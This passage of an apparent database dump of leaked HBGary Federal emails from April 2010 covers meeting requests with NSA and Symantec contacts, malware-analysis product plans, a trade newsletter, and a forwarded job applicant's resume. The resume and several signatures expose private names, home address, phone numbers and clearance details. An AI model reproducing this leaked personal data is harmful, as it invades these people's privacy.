response.&nbsp; The week of May 10 or 17th&nbsp;are the best right now.&nbsp;&nbsp;From:&nbsp;Bartock, Paul F. [mailto:p.bartoc@radium.ncsc.mil]&nbsp;Sent:&nbsp;Tuesday, April 13, 2010 8:48 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;RE: Introductions - HBGary&nbsp;Penny,&nbsp;Thanks, would like to arrange a meeting, in the mid May timeframe. Please check your schedule and propose several &nbsp;dates which works the best for you. And I will engage our folks here and we will work to meet on one of your proposed &nbsp;dates.&nbsp;Best Regards,&nbsp;Paul&nbsp;Paul Bartockemail:&nbsp;pfbart2@nsa.govphone (410) 854-9860From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 12, 2010 6:36 PMTo:&nbsp;Bartock, Paul F.Subject:&nbsp;RE: Introductions - HBGary&nbsp;Paul,&nbsp;We’d like to schedule a time to introduce you to HBGary.&nbsp; We’ve been working with your agency for some time and I think what we are doing can help further the goals inside.&nbsp; I’m sure you are incredibly busy, so perhaps a webex would be OK or on site, your choice.&nbsp;ThanksPenny&nbsp;From:&nbsp;Ned Miller [mailto:Ned_Miller@symantec.com]&nbsp;Sent:&nbsp;Friday, April 09, 2010 2:47 PMTo:&nbsp;p.bartoc@radium.ncsc.mil; Penny Leavy-HoglundSubject:&nbsp;Introductions - HBGary&nbsp;Hi Paul.&nbsp;It was great seeing you on Wed. I wanted to take a moment and introduce you to Penny Leavy, the CEO at HBGaryhttp://www.hbgary.com/&nbsp;Penny and her team are doing some very interesting work in the malware and forensics areas with a unique approach. We recently discussed the MITRE MAEC initiative and several other unique areas HBGary may play a role in the malware detection and analysis arena going forward. I thought the two of you would benefit from knowing one another…&nbsp;My work is done here&nbsp; ;-)&nbsp;&nbsp;&nbsp;Ned Miller&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Director, Public Sector StrategySymantec CorporationMobile: 571-314-5245www.symantec.com&nbsp;&nbsp;&lt;image001.png&gt;This message (including any attachments) is intended only for the use of the individual or entity to which it is addressed and may contain information that is non-public, proprietary, privileged, confidential, and exempt from disclosure under applicable law or may constitute as attorney work product. If you are not the intended recipient, you are hereby notified that any use, dissemination, distribution, or copying of this communication is strictly prohibited. If you have received this communication in error, notify us immediately by telephone and (i) destroy this message if a facsimile or (ii) delete this message immediately if this is an electronic communication. Thank you.&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7702,'aaron_hbgary_com/7702.html'),(5790,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004232.M699476P14101Q645.eml','\"Mark Leary\" <mark.leary@ngc.com>','Question for you','Mark,\r\n\r\nThe HBGary product side were asking me who would be a good person to talk with at NG about their new products, I thought naturally you.\r\n\r\nIf you have some time maybe we can get some lunch (drink) I can run down Active Defense, Threat Management Center, and new additions to DDNA and Responder and get your thoughts.  Then we could schedule maybe a more formal demo.\r\n\r\nTMC maybe not a huge benefit to an NG like organization, but still pretty neat.  We are heading up to NSA tomorrow to brief some combined groups on it.  The base system can process around 20K binaries a day and prioritize based on threat score using DDNA.  REcon is hooked in as the processing capability and a front end which allows users to search the processed repository for any sort of minute detail that was recorded.  So if you want to search your malware repository for how many samples came from an IP set, or contained a specific MUTEX, or had a specific string, etc.  NSAs words, they thought it could be a game changer for them for processing malware.\r\n\r\nActive defense is more for the enterprise.  It manages the deployments of DDNA to the endpoints and also provides a front end for searching your enterprise for specific information.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6286,'aaron_hbgary_com/6286.html'),(5791,'2010-04-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004234.M445636P14101Q646.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Slides so far','Aaron,\r\n\r\nYou sent me some kind of weir file type.  I can read ppt or pdf files, not a\r\n.key file type.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 10:46 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Slides so far\r\n\r\n\r\n\r\nI still have some work on these but wanted your input.\r\n\r\nI think based on your information more needs to be added as well.\r\n\r\nAaron\r\n\r\nOn Apr 28, 2010, at 4:25 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> I could not see any slides. Please send as powerpoint file or as pdf.\r\n> \r\n> Bob\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, April 28, 2010 3:09 PM\r\n> To: Bob Slapnik\r\n> Subject: Slides so far\r\n> \r\n> Hey Bob,\r\n> \r\n> Tell me what you think so far.  Still working on them.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: \r\n> 04/28/10 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: 04/29/10\r\n02:27:00\r\n',8905,'aaron_hbgary_com/8905.html'),(5792,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004234.M805499P14101Q647.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Slides so far','@#^#$#&&%.\r\n\r\nI just need to buy office for mac as I keep forgetting to convert.\r\n\r\nAaron\r\n\r\nOn Apr 29, 2010, at 8:46 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> You sent me some kind of weir file type.  I can read ppt or pdf files, not a\r\n> .key file type.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, April 28, 2010 10:46 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: Slides so far\r\n> \r\n> \r\n> \r\n> I still have some work on these but wanted your input.\r\n> \r\n> I think based on your information more needs to be added as well.\r\n> \r\n> Aaron\r\n> \r\n> On Apr 28, 2010, at 4:25 PM, Bob Slapnik wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> I could not see any slides. Please send as powerpoint file or as pdf.\r\n>> \r\n>> Bob\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, April 28, 2010 3:09 PM\r\n>> To: Bob Slapnik\r\n>> Subject: Slides so far\r\n>> \r\n>> Hey Bob,\r\n>> \r\n>> Tell me what you think so far.  Still working on them.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com\r\n>> Version: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: \r\n>> 04/28/10 02:27:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: 04/29/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',303,'aaron_hbgary_com/303.html'),(5793,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004240.M228146P14101Q648.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Slides so far','\r\n\r\n\r\nOn Apr 29, 2010, at 8:46 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> You sent me some kind of weir file type.  I can read ppt or pdf files, not a\r\n> .key file type.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, April 28, 2010 10:46 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: Slides so far\r\n> \r\n> \r\n> \r\n> I still have some work on these but wanted your input.\r\n> \r\n> I think based on your information more needs to be added as well.\r\n> \r\n> Aaron\r\n> \r\n> On Apr 28, 2010, at 4:25 PM, Bob Slapnik wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> I could not see any slides. Please send as powerpoint file or as pdf.\r\n>> \r\n>> Bob\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, April 28, 2010 3:09 PM\r\n>> To: Bob Slapnik\r\n>> Subject: Slides so far\r\n>> \r\n>> Hey Bob,\r\n>> \r\n>> Tell me what you think so far.  Still working on them.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com\r\n>> Version: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: \r\n>> 04/28/10 02:27:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: 04/29/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12858,'aaron_hbgary_com/12858.html'),(5794,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004241.M954931P14101Q649.eml','\"Greg Hoglund\" <greg@hbgary.com>','Topic of conversation tomorrow','Greg,\r\n\r\nHave you thought about possibly carving up a set of work and having it performed/staffed out of Colorado Springs?  The Springs is a very easy place to hire people.  I know you had some bad experiences in the past related to remotely performed development, but Ted is pretty good at managing tasks and teams.  Just a thought.  Maybe the TMC development could be done out of the Springs?  Since the majority of TMC customers will likely be government.\r\n\r\nI really like the idea of a bunch of deployed active defense boxes reporting back to the HBGary TMC and the HBGary TMC being able to alert and report on the superset of data.  The shared security model, good price point for customers, great data for HBGary.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14528,'aaron_hbgary_com/14528.html'),(5795,'2010-04-29','\"Ray Owen\" <ray.owen@comcast.net>','/aaron@hbgary.com/new/1297004242.M183340P14101Q650.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Friday meeting','Aaron,I actually had to come east this week for several critical meetings, but i finish the last of those today. If you are available, tomorrow morning is free. I\'m staying in the Fair Oaks area. What would be convenient for you?Thanks,RayRay Owencell 650.464.5570On Apr 28, 2010, at 11:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hi Ray,Checking through email, seeing who I need to touch base with. &nbsp;Anytime in the near future your in town?AaronOn Apr 1, 2010, at 11:22 PM, Ray Owen wrote:\r\n\r\nAaron,\r\n\r\nI want to apologize for having a conflict tomorrow. When I planned this\r\ntrip, tomorrow was supposed to be a free morning before the flight\r\nhome. Then our government customer planned a Friday morning sponsor\r\nbriefing on the commercial integration demo proposal that includes\r\nHBGary. It was going to be government-only, so we still didn\'t have\r\nbeen a conflict. Then I got the message that government-only didn\'t\r\nexclude me. In fact, they wanted me to brief it. Great, except in the\r\nrush to review and tweak the briefing and change my return flight, I\r\ntotally spaced on our breakfast plans until I was updating my calendar.\r\n\r\nIf you are available tomorrow afternoon, I can travel to meet with you,\r\nor we can meet in Crystal City if that\'s convenient. Otherwise, I know\r\nI\'ll be back again in a couple of weeks.\r\n\r\nThanks,\r\nRay\r\n-- \r\n\r\nRay Owen|ray.owen@comcast.net|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1036,'aaron_hbgary_com/1036.html'),(5796,'2010-04-29','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297004242.M720835P14101Q651.eml','aaron@hbgary.com','Wes Bush on Northrop\'s Move to Virginia','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon\r\n Executive&nbsp;By Jim\r\n GarrettsonApril 29,\r\n 2010Wes Bush on Northrop\'s Move to\r\n VirginiaNorthrop Grumman Corporation (NYSE: NOC) has announced that the\r\n company will locate the new corporate office in the Commonwealth of\r\n Virginia.Click Here to Read More\r\n Boeing\'s X-37B: Star Wars 2.0? Last week, Air Force Space Command launched Boeing\'s X-37B unmanned\r\n space vehicle (USV) from an Atlas V rocket in Cape Canaveral.&nbsp; That much was\r\n made\r\n public.&nbsp; What wasn\'t made public was what the\r\n spacecraft would be used for or when it\'s coming back to Earth (although it\r\n can stay in space for at least 9 months at a time). Click Here to Read\r\n MoreVA\r\n Suspends 2/3 of IT Projects \r\n&nbsp;Roger\r\n BakerThe\r\n VA has suspended \r\nspending on 188 of its 280 IT projects, according to Federal Computer \r\nWeek. Most of the suspended projects will either be re-evaluated or \r\ncanceled, according to VA Chief Information Officer Roger Baker. Only 92\r\n projects are currently authorized by the VA to draw funds appropriated \r\nfor fiscal \'10.Click Here to Read\r\n MoreSlipping Through the Filter: The Effectiveness of Web\r\n FilteringIn January of 2010, Google went\r\n public with information that Chinese \r\nhackers had attacked Gmail accounts of human rights activists in \r\nDecember of\r\n 2009. As a result, Google announced that it would no longer \r\ncomply with Chinese government regulations that required the censoring \r\nof search results that are related to sensitive political and social \r\nissues. But just how easy is it to filter Internet\r\n content?Click Here to Read\r\n MoreA\r\n Double Dose of Acquisition ReformLast week, DoD and Congress each moved forward with acquisition\r\n reform measures: DoD proposed changes to DFARS to comply with OCI-prevention\r\n language in section 207 of the Weapons System Acquisition Reform Act of 2009\r\n (WSARA) and the House Armed Services Committee unaimously approved H.R. 5013,\r\n the IMPROVE Acquisitions Act of 2010.Click Here to Read MoreMartha\r\n Johnson to Speak at Potomac Officers ClubGSA\'s focus in 2010 is innovation, according to Martha Johnson\'s\r\n remarks at the 2010 Government Web & New Media Conference.&nbsp; She reminded\r\n conference attendees through Skype that GSA serves every government agency,\r\n contracting the tools and expertise they need to complete their missions.&nbsp;\r\n She\'ll be speaking at the Potomac Officers Club at a luncheon event on June 2nd,\r\n click here to\r\n register.&nbsp;ExecutiveBiz Launches New\r\n MagazineWe are proud to announce the debut of our new magazine, GovConExec.\r\n Our intent is to capture the spirit of leadership in the executive ranks of\r\n government contracting and the Senior Executive Services (SES). Our Inaugural\r\n issue features BAE Systems North America\'s President and CEO Linda Hudson Click Here to\r\n Subscribe&nbsp;David Melcher: \"a good acquisition is one that\r\n complements your core capabilities\" John\r\n Sutton of ManTech on ManTech\'s Strategic Vision\r\n Gary\r\n Nakamoto of Base Technologies on Real Improvements in Health IT and Cloud\r\n Computing\r\n Aaron Daniels of Argon ST on a CFO\'s Role \r\nat a Government Contractor &nbsp;CenturyLink Aquires Qwest \r\nCommunicationEdward\r\n MuellerCenturyLink (CenturyTel, Inc., NYSE: CTL) and Qwest \r\nCommunications (NYSE: Q) announced today that their boards of directors \r\nhave approved a definitive agreement under which CenturyLink will \r\nacquire Qwest in a tax-free, stock-for-stock transaction. Under the \r\nterms of the agreement, Qwest shareholders will receive 0.1664 \r\nCenturyLink shares for each share of Qwest common stock they own at \r\nclosing. Upon the closing of the transaction, CenturyLink shareholders \r\nare expected to own approximately 50.5 percent and Qwest shareholders \r\nare expected to own approximately 49.5 percent of the combined\r\n company.\r\n Click Here to Read\r\n More&nbsp;&nbsp;SAIC Moving\r\n Forward with Marines on IT DealNGC Wins Navy\r\n Deal, Lockheed Banks ThreeGeneral Dynamics\r\n to Continue Support of Marine ArtilleryHarris\' Jim\r\n Traficant Talks VA CPAC DealAccenture Inks\r\n Deal in SingaporeL-3 Set to\r\n Provide IT, Cyber Support to USAFCENTRaytheon\r\n Developing Nuclear ID Technology for DTRARaytheon Gets\r\n DoD Deal, Northrop Grumman Books PairSE Solutions\'\r\n Paul Taltavull and Barry West on FEMA IT ContractGeneral Dynamics\r\n Inks HHS CMS DealDrew Cohen Lands\r\n at NoblisWood Parker on\r\n Key Executive Additions at TASCSherrill I.\r\n Daily Moves to ManTechPaul Strasser\r\n Joins Dynamics Research as SVP, Strategic DevelopmentNGC Names Cheryl\r\n Janey VP, Communications, Information Systems SectorClick Here for\r\n More GovConwireFBI Names Gordon\r\n M. Snow Assistant Director of Cyber DivisionGary Gagnon to\r\n Head Cyber at MITRECongress Needs\r\n to Come Together to Plan Cyber Defense says Rep. SanchezRussian Hacker\r\n Selling 1.5 Million Facebook IDsBotnet Server\r\n Escapes to ChinaFBI Finds New\r\n Technologies a ChallengePanetta Warns\r\n Cyber Attack Could be Next Pearl HarborClick Here for\r\n More from The New New\r\n Internet ICF to Support\r\n DOE State Energy Program, EECBGArgon ST\'s Aaron\r\n Daniels on the CFO RoleExecutive\r\n Profile: David Rimmer of HP Enterprise ServicesExecutive\r\n Profile: Rick Collins of HP Enterprise ServicesDavid Melcher on\r\n What Makes a Good AcquisitionExecutive\r\n Profile: Sean Kenny of HP Enterprise Services&nbsp;Click Here for\r\n More from GovCon Executive\r\n FCC Launches New\r\n Task ForceTraditional\r\n Health IT Vendors Losing Big with DigitalizationRural Areas a\r\n Focus for Health IT AdoptionDeputy Defense\r\n Sec. Lynn to Address World Affairs Council on Asymmetric ThreatsSymposium\r\n Teaches Best Practices in Green ITPublic Service\r\n Recognition WeekDirty Bomb Drill\r\n Looks to Prepare Personnel for Cleanup OperationsEPA\'s Lisa\r\n Jackson Speaks at Climate Change Rally on the MallNew Assistant\r\n Director for FBI Cyber DivisionStephanie Cutter\r\n Named Assistant to President for Special ProjectsClick Here for\r\n More from ExecutiveGovFeatured VideoJohn Hillen on\r\n Govt Challenges&nbsp;\r\n \r\nDavid Melcher: \"a good acquisition is one \r\nthat complements your core capabilities\" Recently, ExecutiveBiz had the\r\n opportunity to sit down with David Melcher of ITT Defense & Information Solutions.\r\n He spoke about the impact ITT has on the average customer, what makes a good\r\n acquisition and lessons learned from reorganization. Click Here to Read\r\n MoreJohn\r\n Sutton of ManTech on ManTech\'s Strategic Vision\r\n ExecutiveBiz recently had a chance to speak with John Sutton,\r\n Senior VP for Defense and Intelligence at ManTech\'s Mission, Cyber and Technology\r\n Solutions group.&nbsp; He told us about ManTech\'s current \"hiring spree,\" and the\r\n challenge of mentoring hundreds of skilled professionals at a cutting-edge\r\n technology company, as well as his volunteer work coaching youth hockey in\r\n Reston.Click Here to Read\r\n MoreGary\r\n Nakamoto of Base Technologies on Real Improvements in \r\nHealth IT and Cloud Computing\r\n I recently met with Gary Nakamoto,\r\n Chairman of Base Technologies, and \r\nspoke about a range of topics including how Base Technologies has kept \r\non growing in a down economy, the Obama administration\'s fiscal \r\npriorities, cloud computing and how to effect meaningful improvements to\r\n healthcare through technology.Click Here to Read\r\n MoreAaron Daniels of Argon ST on a CFO\'s Role \r\nat a Government Contractor ExecutiveBiz recently spoke with Aaron \r\nDaniels, VP and CFO at Argon ST.&nbsp; He told us about the role of a CFO at a\r\n government contractor and how that role has changed over time.&nbsp; He also\r\n told us about his greatest passion (outside of work), the outdoors, and\r\n some of the great hiking and biking trails in the DC area. Click Here to Read\r\n MoreSave The\r\n DateWhat: The Small and \r\nEmerging Contractors Advisory Forum (SECAF) Awards Gala.When: Thursday, April 29, \r\n2010Where:\r\n McLean Hilton, Tyson\'s Corner\r\n7920 Jones\r\n Branch DriveMcLean,\r\n Virginia&nbsp; 22102Tel:\r\n 1-703-847-5000&nbsp;&nbsp; Fax: 1-703-761-5100Why: The SECAF Awards Gala\r\n honors small and emerging government contractors and the players in the\r\n ecosystem that rely on small business.\r\nClick Here \r\nto Register.\r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',7864,'aaron_hbgary_com/7864.html'),(5797,'2010-04-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004242.M946919P14101Q652.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: BIOs','You should probably put them on a word doc.  You\'ll need them\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 7:50 PM\r\nTo: Penny Leavy\r\nSubject: BIOs\r\n\r\nWe had our BIOs in the initial announcement.\r\n\r\nhttp://www.darkreading.com/securityservices/security/government/showArticle.\r\njhtml?articleID=222000831\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',12499,'aaron_hbgary_com/12499.html'),(5798,'2010-04-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004243.M251668P14101Q653.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#q94vvnyt89ujkmjc','Begin forwarded message:From: &lt;slydard@hotmail.com&gt;\r\nDate: April 29, 2010 9:01:25 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #q94vvnyt89ujkmjc\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nShayne Lydard \r\n\r\n  21773\r\nUS\r\nslydard@hotmail.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nq94vvnyt89ujkmjc   Resume Headline: Shayne Lydard Analyst Resume  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nShayne Lydard\r\n2640 Jomar St. \r\nSan Angelo, TX. 76901 \r\n\r\nPhone: 301-693-5637 (Cell)              \r\nEmail: slydard\r\n@hotmail.com\r\n OBJECTIVE\r\nA position as an Intelligence Analyst that will utilize my supervisory and professional analytical background.\r\n\r\n \r\nprofessional summary\r\nIntelligence analyst with  21 years of diverse professional experience in the intelligence field.  \r\nResults driven leader with significant successes in analysis and reporting, operations management and training.  In-depth knowledge of intelligence analysis functions with special emphasis on training.  Recognized intelligence subject matter expertise with demonstrated subject matter expertise \r\nof worldwide all-source intelligence organizations, databases, and automation systems used for foreign signals intelligence research. Demonstrated ability to synthesize data and produce all-source intelligence reports presenting conclusive arguments to substantiate fi\r\nndings enabling customers to take action.  Articulate briefer skilled at preparing and presenting both formal and informal presentations.  Adept at performing operator-level functions on office automation/electronic equipment.  Skilled at creating and conducting formal and informal analysis training.  Strong technical a\r\nnd expository writing skills with emphasizinz an in-depth analysis and reporting of foreign signals intelligence and military capabilities.  Currently posssess a Top Secret security clearance with sensitive compartmented access.  Valid through Oct 2011.\r\n\r\n \r\nEXPERIENCE \r\nMay 2009 to Present:  Career Development Course (CDC) Writer for Air Force analysis career field\r\n\r\nUSAF, 316th Training Squadron, Goodfellow AFB, Texas\r\n \r\nProvided concepts and ideas for a \r\nmulti-career field development course; 5 Air Force career fields impacted\r\nUpdated online documents, ensured current information was readily available to troops in training\r\nProduced Journeyman, 3 volume career enhancement course; affected 500 AF members annually\r\n\r\nCreated database to track inquiries from the field; able to follow-up on customer requests more quickly\r\n Jul 2008 to May 2009:  NCOIC Counter Improvised Explosive Device (IED) Regional Analyst Office\r\n\r\nUSAF, Task Force Troy J2, Baghdad, Iraq\r\n \r\nDirected cadre of joint military and civilian contractors, responsible for reporting and analyzing all Coalition Forces (CF) \r\nreported IED events throughout Iraq\r\nTrained in battle field forensics; collected finger prints, fragmentation from explosives, measured blast seats, questioned witnesses—produced summary of events, including analysis and lessons learned\r\n\r\nProvided weekly summaries using power point presentations for Commander Multi-National Forces Iraq; information included IED events, CF casualties, types of explosives, reported on insurgent groups involved\r\nCrea\r\nted Assassination tracker; predicted patterns in threats against political figures leading up to Iraqi elections\r\nCoordinated information with various departments; provided most complete intelligence picture to consumers\r\n\r\n Apr 2007 to Jul 2008: NCOIC Development Shop, Network Intelligence Analysis Apprentice Course (NIAAC) USAF\r\n, 316th Training Squadron, Goodfellow AFB, Texas\r\n \r\nLed office dedicated to developing and implementing classroom instruction for 250+ students annually\r\n\r\nCreated digital simulated operations exercise; incorporated multiple career fields working side-by-side\r\nHand-picked to provide input and expertise for creation of joint career field common core criteria\r\nLed several fact-finding missions to multiple field sites to enhance realism in exercise scenarios\r\n\r\nProvided target expertise to software developers for creation of multi-media interactive software\r\nDelivered weekly activity reports updating leadership on the status of multiple projects\r\n \r\n\r\nApr 2004 to Apr 2007: Course Supervisor, NIAAC USAF, 316th\r\n Training Squadron, Goodfellow AFB, Texas\r\n Provided leadership and guidance to a cadre of 27 instructors and 250 students per year in NIAAC\r\n\r\nLead instructor for 4-month TOP SECRET-classified course focused on intelligence disciplines/community, aerospace operations centers, information operations, collection management, traffic analysis,  weapon systems, counter-terrorism, integrated air defense tracking systems, friendly threat warning, and reporting\r\n\r\n1,000 hours of podium-style instruction; graduated 75 mission ready analysts \r\nEvaluated and monitored\r\n professional development of instructor corps; maintained instructor training records \r\nProvided career guidance and mentoring for instructors\r\nPrepared and revised training materials and provided technical inputs to course control documents\r\n\r\nCounseled students regarding academic progress and personal issues\r\n  \r\n \r\n \r\nApr 2000 to Mar 2004: Communications Intelligence Analyst, Signals Intelligence Directorate \r\nUSAF, 22nd Intelligence Squadron, National Security Agency, Fort Meade, Maryland\r\n\r\n \r\nResearched and analyzed Digital Network Intelligence and Computer Network Exploitation of target country\r\n\r\nAssisted in the prioritizing of collection resources by providing tasking inputsMaintained databases and working aids; consolidated a workcenter database with 1,000+  target items\r\n\r\nReviewed hundreds of documents to determine types of equipment being used by target nationsProvided support to air operations in wake of ENDURING FREEDOM\r\n \r\nJun 1995 to Mar 2000: Global Response Analyst\r\n, National Security Operations Center (NSOC) \r\nUSAF, 22nd Intelligence Squadron, National Security Agency, Fort Meade, Maryland\r\n \r\nIntegral member of a\r\n 24-hour intelligence watch team monitoring and reporting threats to deployed U.S. and Allied forces; issued over 70 time-sensitive reports providing direct support to frontline operational troops\r\nProvided support and guidance to NSOC leadership on time-sensitive SIGINT and Information Security operations\r\n\r\nResponded to requests for information from multiple national-level intelligence community consumers; met 100 percent timeliness requirements\r\nAble to multi-task, covered more than 20 targets at one time; prioritized all based on impact to national policy\r\nDisseminated vital tactical data used to formulate national operational 